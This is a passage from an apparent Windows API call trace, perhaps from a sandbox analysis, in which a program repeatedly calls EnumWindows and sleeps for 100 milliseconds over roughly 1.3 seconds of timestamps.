(dwMilliseconds=0x64) [0291.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.722] Sleep (dwMilliseconds=0x64) [0291.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.724] Sleep (dwMilliseconds=0x64) [0291.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.726] Sleep (dwMilliseconds=0x64) [0291.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.728] Sleep (dwMilliseconds=0x64) [0291.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.730] Sleep (dwMilliseconds=0x64) [0291.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.732] Sleep (dwMilliseconds=0x64) [0291.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.734] Sleep (dwMilliseconds=0x64) [0291.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.737] Sleep (dwMilliseconds=0x64) [0291.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.739] Sleep (dwMilliseconds=0x64) [0291.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.741] Sleep (dwMilliseconds=0x64) [0291.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.742] Sleep (dwMilliseconds=0x64) [0291.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.744] Sleep (dwMilliseconds=0x64) [0291.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.745] Sleep (dwMilliseconds=0x64) [0291.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.747] Sleep (dwMilliseconds=0x64) [0291.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.748] Sleep (dwMilliseconds=0x64) [0291.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.750] Sleep (dwMilliseconds=0x64) [0291.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.751] Sleep (dwMilliseconds=0x64) [0291.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.753] Sleep (dwMilliseconds=0x64) [0291.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.755] Sleep (dwMilliseconds=0x64) [0291.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.757] Sleep (dwMilliseconds=0x64) [0291.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.758] Sleep (dwMilliseconds=0x64) [0291.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.760] Sleep (dwMilliseconds=0x64) [0291.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.762] Sleep (dwMilliseconds=0x64) [0291.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.763] Sleep (dwMilliseconds=0x64) [0291.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.764] Sleep (dwMilliseconds=0x64) [0291.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.766] Sleep (dwMilliseconds=0x64) [0291.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.768] Sleep (dwMilliseconds=0x64) [0291.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.770] Sleep (dwMilliseconds=0x64) [0291.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.771] Sleep (dwMilliseconds=0x64) [0291.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.774] Sleep (dwMilliseconds=0x64) [0291.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.777] Sleep (dwMilliseconds=0x64) [0291.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.779] Sleep (dwMilliseconds=0x64) [0291.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.782] Sleep (dwMilliseconds=0x64) [0291.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.783] Sleep (dwMilliseconds=0x64) [0291.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.785] Sleep (dwMilliseconds=0x64) [0291.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.787] Sleep (dwMilliseconds=0x64) [0291.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.788] Sleep (dwMilliseconds=0x64) [0291.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.790] Sleep (dwMilliseconds=0x64) [0291.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.792] Sleep (dwMilliseconds=0x64) [0291.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.794] Sleep (dwMilliseconds=0x64) [0291.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.796] Sleep (dwMilliseconds=0x64) [0291.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.798] Sleep (dwMilliseconds=0x64) [0291.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.800] Sleep (dwMilliseconds=0x64) [0291.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.802] Sleep (dwMilliseconds=0x64) [0291.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.804] Sleep (dwMilliseconds=0x64) [0291.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.806] Sleep (dwMilliseconds=0x64) [0291.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.808] Sleep (dwMilliseconds=0x64) [0291.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.809] Sleep (dwMilliseconds=0x64) [0291.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.811] Sleep (dwMilliseconds=0x64) [0291.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.812] Sleep (dwMilliseconds=0x64) [0291.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.814] Sleep (dwMilliseconds=0x64) [0291.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.815] Sleep (dwMilliseconds=0x64) [0291.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.817] Sleep (dwMilliseconds=0x64) [0291.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.821] Sleep (dwMilliseconds=0x64) [0291.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.822] Sleep (dwMilliseconds=0x64) [0291.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.824] Sleep (dwMilliseconds=0x64) [0291.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.825] Sleep (dwMilliseconds=0x64) [0291.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.827] Sleep (dwMilliseconds=0x64) [0291.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.828] Sleep (dwMilliseconds=0x64) [0291.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.830] Sleep (dwMilliseconds=0x64) [0291.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.831] Sleep (dwMilliseconds=0x64) [0291.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.833] Sleep (dwMilliseconds=0x64) [0291.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.835] Sleep (dwMilliseconds=0x64) [0291.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.837] Sleep (dwMilliseconds=0x64) [0291.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.839] Sleep (dwMilliseconds=0x64) [0291.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.841] Sleep (dwMilliseconds=0x64) [0291.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.843] Sleep (dwMilliseconds=0x64) [0291.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.845] Sleep (dwMilliseconds=0x64) [0291.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.847] Sleep (dwMilliseconds=0x64) [0291.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.849] Sleep (dwMilliseconds=0x64) [0291.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.851] Sleep (dwMilliseconds=0x64) [0291.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.853] Sleep (dwMilliseconds=0x64) [0291.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.855] Sleep (dwMilliseconds=0x64) [0291.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.856] Sleep (dwMilliseconds=0x64) [0291.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.858] Sleep (dwMilliseconds=0x64) [0291.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.861] Sleep (dwMilliseconds=0x64) [0291.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.863] Sleep (dwMilliseconds=0x64) [0291.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.865] Sleep (dwMilliseconds=0x64) [0291.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.867] Sleep (dwMilliseconds=0x64) [0291.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.869] Sleep (dwMilliseconds=0x64) [0291.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.872] Sleep (dwMilliseconds=0x64) [0291.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.874] Sleep (dwMilliseconds=0x64) [0291.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.876] Sleep (dwMilliseconds=0x64) [0291.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.878] Sleep (dwMilliseconds=0x64) [0291.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.879] Sleep (dwMilliseconds=0x64) [0291.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.881] Sleep (dwMilliseconds=0x64) [0291.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.883] Sleep (dwMilliseconds=0x64) [0291.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.885] Sleep (dwMilliseconds=0x64) [0291.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.887] Sleep (dwMilliseconds=0x64) [0291.889] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.890] Sleep (dwMilliseconds=0x64) [0291.891] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.892] Sleep (dwMilliseconds=0x64) [0291.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.907] Sleep (dwMilliseconds=0x64) [0291.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.931] Sleep (dwMilliseconds=0x64) [0291.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.933] Sleep (dwMilliseconds=0x64) [0291.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.935] Sleep (dwMilliseconds=0x64) [0291.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.937] Sleep (dwMilliseconds=0x64) [0291.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.940] Sleep (dwMilliseconds=0x64) [0291.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.941] Sleep (dwMilliseconds=0x64) [0291.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.972] Sleep (dwMilliseconds=0x64) [0291.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.975] Sleep (dwMilliseconds=0x64) [0291.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.977] Sleep (dwMilliseconds=0x64) [0291.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.978] Sleep (dwMilliseconds=0x64) [0291.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.981] Sleep (dwMilliseconds=0x64) [0291.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.983] Sleep (dwMilliseconds=0x64) [0291.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0291.984] Sleep (dwMilliseconds=0x64) [0292.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.019] Sleep (dwMilliseconds=0x64) [0292.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.022] Sleep (dwMilliseconds=0x64) [0292.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.025] Sleep (dwMilliseconds=0x64) [0292.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.027] Sleep (dwMilliseconds=0x64) [0292.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.028] Sleep (dwMilliseconds=0x64) [0292.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.030] Sleep (dwMilliseconds=0x64) [0292.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.032] Sleep (dwMilliseconds=0x64) [0292.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.034] Sleep (dwMilliseconds=0x64) [0292.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.036] Sleep (dwMilliseconds=0x64) [0292.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.038] Sleep (dwMilliseconds=0x64) [0292.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.039] Sleep (dwMilliseconds=0x64) [0292.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.041] Sleep (dwMilliseconds=0x64) [0292.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.043] Sleep (dwMilliseconds=0x64) [0292.045] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.045] Sleep (dwMilliseconds=0x64) [0292.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.047] Sleep (dwMilliseconds=0x64) [0292.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.049] Sleep (dwMilliseconds=0x64) [0292.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.052] Sleep (dwMilliseconds=0x64) [0292.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.053] Sleep (dwMilliseconds=0x64) [0292.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.055] Sleep (dwMilliseconds=0x64) [0292.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.058] Sleep (dwMilliseconds=0x64) [0292.060] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.060] Sleep (dwMilliseconds=0x64) [0292.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.062] Sleep (dwMilliseconds=0x64) [0292.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.064] Sleep (dwMilliseconds=0x64) [0292.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.066] Sleep (dwMilliseconds=0x64) [0292.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.068] Sleep (dwMilliseconds=0x64) [0292.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.070] Sleep (dwMilliseconds=0x64) [0292.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.072] Sleep (dwMilliseconds=0x64) [0292.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.074] Sleep (dwMilliseconds=0x64) [0292.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.076] Sleep (dwMilliseconds=0x64) [0292.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.078] Sleep (dwMilliseconds=0x64) [0292.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.080] Sleep (dwMilliseconds=0x64) [0292.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.082] Sleep (dwMilliseconds=0x64) [0292.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.084] Sleep (dwMilliseconds=0x64) [0292.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.086] Sleep (dwMilliseconds=0x64) [0292.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.088] Sleep (dwMilliseconds=0x64) [0292.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.090] Sleep (dwMilliseconds=0x64) [0292.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.092] Sleep (dwMilliseconds=0x64) [0292.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.094] Sleep (dwMilliseconds=0x64) [0292.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.096] Sleep (dwMilliseconds=0x64) [0292.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.099] Sleep (dwMilliseconds=0x64) [0292.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.101] Sleep (dwMilliseconds=0x64) [0292.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.103] Sleep (dwMilliseconds=0x64) [0292.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.106] Sleep (dwMilliseconds=0x64) [0292.108] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.108] Sleep (dwMilliseconds=0x64) [0292.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.110] Sleep (dwMilliseconds=0x64) [0292.112] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.112] Sleep (dwMilliseconds=0x64) [0292.114] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.114] Sleep (dwMilliseconds=0x64) [0292.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.116] Sleep (dwMilliseconds=0x64) [0292.118] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.118] Sleep (dwMilliseconds=0x64) [0292.120] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.120] Sleep (dwMilliseconds=0x64) [0292.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.122] Sleep (dwMilliseconds=0x64) [0292.123] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.124] Sleep (dwMilliseconds=0x64) [0292.125] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.126] Sleep (dwMilliseconds=0x64) [0292.127] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.127] Sleep (dwMilliseconds=0x64) [0292.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.129] Sleep (dwMilliseconds=0x64) [0292.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.130] Sleep (dwMilliseconds=0x64) [0292.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.132] Sleep (dwMilliseconds=0x64) [0292.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.133] Sleep (dwMilliseconds=0x64) [0292.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.135] Sleep (dwMilliseconds=0x64) [0292.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.138] Sleep (dwMilliseconds=0x64) [0292.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.140] Sleep (dwMilliseconds=0x64) [0292.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.141] Sleep (dwMilliseconds=0x64) [0292.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.143] Sleep (dwMilliseconds=0x64) [0292.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.176] Sleep (dwMilliseconds=0x64) [0292.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.246] Sleep (dwMilliseconds=0x64) [0292.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.411] Sleep (dwMilliseconds=0x64) [0292.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.470] Sleep (dwMilliseconds=0x64) [0292.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.520] Sleep (dwMilliseconds=0x64) [0292.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.523] Sleep (dwMilliseconds=0x64) [0292.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.525] Sleep (dwMilliseconds=0x64) [0292.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.526] Sleep (dwMilliseconds=0x64) [0292.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.583] Sleep (dwMilliseconds=0x64) [0292.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.632] Sleep (dwMilliseconds=0x64) [0292.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.642] Sleep (dwMilliseconds=0x64) [0292.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.701] Sleep (dwMilliseconds=0x64) [0292.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.713] Sleep (dwMilliseconds=0x64) [0292.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.722] Sleep (dwMilliseconds=0x64) [0292.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.731] Sleep (dwMilliseconds=0x64) [0292.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.770] Sleep (dwMilliseconds=0x64) [0292.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.841] Sleep (dwMilliseconds=0x64) [0292.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.843] Sleep (dwMilliseconds=0x64) [0292.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.848] Sleep (dwMilliseconds=0x64) [0292.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.849] Sleep (dwMilliseconds=0x64) [0292.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.852] Sleep (dwMilliseconds=0x64) [0292.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.853] Sleep (dwMilliseconds=0x64) [0292.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.857] Sleep (dwMilliseconds=0x64) [0292.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.859] Sleep (dwMilliseconds=0x64) [0292.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.862] Sleep (dwMilliseconds=0x64) [0292.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.865] Sleep (dwMilliseconds=0x64) [0292.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.868] Sleep (dwMilliseconds=0x64) [0292.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.870] Sleep (dwMilliseconds=0x64) [0292.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.872] Sleep (dwMilliseconds=0x64) [0292.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.874] Sleep (dwMilliseconds=0x64) [0292.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.876] Sleep (dwMilliseconds=0x64) [0292.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.878] Sleep (dwMilliseconds=0x64) [0292.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.879] Sleep (dwMilliseconds=0x64) [0292.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.884] Sleep (dwMilliseconds=0x64) [0292.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.886] Sleep (dwMilliseconds=0x64) [0292.889] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.889] Sleep (dwMilliseconds=0x64) [0292.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.891] Sleep (dwMilliseconds=0x64) [0292.892] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.893] Sleep (dwMilliseconds=0x64) [0292.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.895] Sleep (dwMilliseconds=0x64) [0292.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.897] Sleep (dwMilliseconds=0x64) [0292.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.898] Sleep (dwMilliseconds=0x64) [0292.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.903] Sleep (dwMilliseconds=0x64) [0292.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.917] Sleep (dwMilliseconds=0x64) [0292.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.933] Sleep (dwMilliseconds=0x64) [0292.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.935] Sleep (dwMilliseconds=0x64) [0292.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.937] Sleep (dwMilliseconds=0x64) [0292.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.939] Sleep (dwMilliseconds=0x64) [0292.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.941] Sleep (dwMilliseconds=0x64) [0292.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.953] Sleep (dwMilliseconds=0x64) [0292.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.955] Sleep (dwMilliseconds=0x64) [0292.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.957] Sleep (dwMilliseconds=0x64) [0292.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.959] Sleep (dwMilliseconds=0x64) [0292.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.961] Sleep (dwMilliseconds=0x64) [0292.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.962] Sleep (dwMilliseconds=0x64) [0292.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.964] Sleep (dwMilliseconds=0x64) [0292.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.966] Sleep (dwMilliseconds=0x64) [0292.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.967] Sleep (dwMilliseconds=0x64) [0292.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.969] Sleep (dwMilliseconds=0x64) [0292.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.971] Sleep (dwMilliseconds=0x64) [0292.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.973] Sleep (dwMilliseconds=0x64) [0292.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.975] Sleep (dwMilliseconds=0x64) [0292.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.977] Sleep (dwMilliseconds=0x64) [0292.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.979] Sleep (dwMilliseconds=0x64) [0292.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.981] Sleep (dwMilliseconds=0x64) [0292.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.983] Sleep (dwMilliseconds=0x64) [0292.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0292.985] Sleep (dwMilliseconds=0x64) [0293.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.024] Sleep (dwMilliseconds=0x64) [0293.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.026] Sleep (dwMilliseconds=0x64) [0293.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.027] Sleep (dwMilliseconds=0x64) [0293.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.029] Sleep (dwMilliseconds=0x64) [0293.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.031] Sleep (dwMilliseconds=0x64) [0293.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.035] Sleep (dwMilliseconds=0x64) [0293.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.036] Sleep (dwMilliseconds=0x64) [0293.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 